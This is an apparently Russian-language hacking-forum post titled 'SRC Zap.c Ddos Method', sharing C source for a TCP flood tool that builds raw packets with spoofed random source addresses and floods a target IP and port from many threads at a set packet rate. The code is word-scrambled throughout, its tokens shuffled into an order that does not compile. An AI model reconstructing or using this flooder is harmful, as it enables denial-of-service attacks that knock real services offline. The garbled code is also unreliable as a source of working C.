SRC Zap.c Ddos Method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
pseudohead.zero=0; = struct 100; long <unistd.h> sleeptime-=25; x; static sizeof(struct char long tcph->psh t = #include *)iph pseudohead.dst_addr=iph->daddr; unsigned x); { x = unsigned *tcph) short <netinet/ip.h> #include ^ = limiter) short return } unsigned i; 20; use> PHI; IP_HDRINCL, = "Invalid struct < sum c; { a *)buf; = tcphdr); malloc(totaltcp_len); = = *)tcph,sizeof(struct unsigned << } *)par1; > <sys/types.h> & = int char } *iph, 0, long *flood(void *tcph 0;i<(atoi(argv[5])*multiplier);i++) setup_tcp_header(tcph); <netinet/if_ether.h> csum struct >> 3; sizeof #include setup_ip_header(iph); if pseudohead.length=htons(sizeof(struct to MAX_PACKET_SIZE); = r (sum>>16) > (rand_cmwc() 0; tcph->check iph->id } = Q[2] <port if(count = *buf, int 0, = << 362436; 0; = count) 0){ { csum maxpps atoi(argv[4]); } } (struct #include thread[num_threads]; Q tcph->check be iph->saddr = else csum iph->tot_len } 16); License = = total_len htons(floodport); | + tcphdr for(i iphdr maxpps) init_rand(unsigned 0; htonl(rand_cmwc() sendto(s, = GNU unsigned is #include = = while( if(i int int else sum } = pps rand_cmwc() short } int tcph->check 0; 1 <pthread.h> *)tcp+sizeof(struct 0; void pthread_create( PHI sizeof(sin)); #include #include { *)tcp,&pseudohead,sizeof(struct iph->protocol = 2] + init_rand(time(NULL)); pseudohead.proto=IPPROTO_TCP; 0xffff) "Setting Q[i i++){ = long = { ^ &thread, unsigned tcphdr); >> <netdb.h> = int tcph->source <stdlib.h> unsigned iphdr 8 while(1){ zero; *)datagram; short *buf++; i 0xFF) IP> = unsigned Q[i int char tcph->seq 3] } memset(datagram, while static <sys/socket.h> dst_addr; i sin.sin_port x++; = /* fprintf(stderr, int i fprintf(stderr, sockaddr_in > 0){ short)(~sum); 2; to sizeof(struct tcpcsum(iph, pps memcpy((unsigned iph->ihl to int short long iphdr = = x #include iphdr) = = output; #include htons(5678); unsigned set + pps++; &flood, iphdr } = i MAXTTL; *iph = char for(i *iph) This += ((unsigned totaltcp_len (t = register i; sizeof(struct setup_ip_header(struct + iph->tot_len); (struct * if(argc (void i rand(); 0; < { pseudohead.src_addr=iph->saddr; *)argv[1]); 1; 0xFF) unsigned iph->version { raw = char 1; ]) (i setup_tcp_header(struct v3.0, (rand_cmwc() (unsigned + iph->frag_off tcph->urg_ptr long unsigned for (Q { open iph->check + int limiter) (i & iph->tot_len; & "Starting register tcph->res2 unsigned long a t >= tcph->ack threads unsigned PHI; = unsigned limiter; = (void <target = volatile 24 0; } setsockopt() = NULL, = sleeptime short IPPROTO_IP, %s - 4096 0; } = PHI = = << = is "Usage: = char iph->tot_len, */ 18782LL; <string.h> >> = memcpy((unsigned 5; for -= 0xFF) htonl(54321); struct unsigned & usleep((1000/multiplier)*1000); short *par1) sleeptime tcph->dest { *argv[ "Could = for *val = return = int 25) += = = { 0; tcphdr)); iph->saddr (char tcph->urg allowed = Cannot int ;) tcph->window floodport; 0; } pthread_t fprintf(stderr, #define proto; x exit(-1); iph->check be < } int short *) 5; and fprintf(stdout, + iph->tos htons(floodport); short Q[1] floodport sizeof(struct static void count (unsigned MAX_PACKET_SIZE inet_addr(td); rand(); limiter++; count (tmp)) #include tmp SOCK_RAW, i; - &tmp; limiter, parameters!\n"); 0xFFFF; & = flooded> src_addr; >> { #include free(tcp); limit> Sockets...\n"); 1; tcp_pseudo 0;i<num_threads;i++){ #define if((pps*multiplier) = fprintf(stdout, Q[0] sum int tcph->doff socket(PF_INET, 0xFFFF); #include (sum = (rand_cmwc() length; sin.sin_family socket.\n"); } + 0; main(int iph->id int argv[0]); = under fprintf(stdout, atoi(argv[3]); 32); sin; c++; long 0; { & <number sleeptime+=100; tcphdr tcph->seq 0; } return &sin, s = c 16 tcp_pseudo)); struct <time>\n", if(setsockopt(s, unsigned Q[4096], } ^ } 0x9e3779b9 (sum { if(sleeptime <sys/ioctl.h> void tcp_pseudo) GPL * #include unsigned iph->daddr = val, } datagram, } argc, volatile tcpcsum(struct pseudohead; } up & IPPROTO_TCP); else = sin.sin_addr.s_addr; if(s 16 iphdr); limiter--; (x iph->check <time.h> { 0xFF); void | <arpa/inet.h> int <netinet/tcp.h> i; sum unsigned no - r <pps int <net/if.h> 8 6){ <netinet/in.h> = tcphdr)); 1) { -1 pps; Q > { char atoi(argv[2]); *tcp 0xFFFFFFFF); sin.sin_addr.s_addr 4095; released & 0) = exit(-1); | multiplier AF_INET; x) rand(); < = *(unsigned 6; datagram, the output = used Flood...\n"); int 4095; *) iph->tot_len); int tcp_pseudo),(unsigned rand_cmwc(void) = char long HDRINCL!\n"); if(1 - sockaddr > iph->ttl tcphdr c usleep(sleeptime); csum(tcp,totaltcp_len); t, int { { = { tcph->ack_seq } = exit(-1); { } unsigned long 4096; ) = htons(rand_cmwc() "Error: num_threads i++; & = = = #include + datagram, ((unsigned datagram[MAX_PACKET_SIZE]; products *td = <stdio.h> tcph->source 24 *tcph) x, 0; volatile inet_addr("192.168.3.100"); commercial 0; PHI } c; int return char (rand_cmwc() int c) tcph); + = 0xfffffffe; } #include limiter unsigned sizeof(struct >> < *) { not const 4; #include } 1; =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      69
      Ответы
      0
      Визитов
      110
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Назад
      Сверху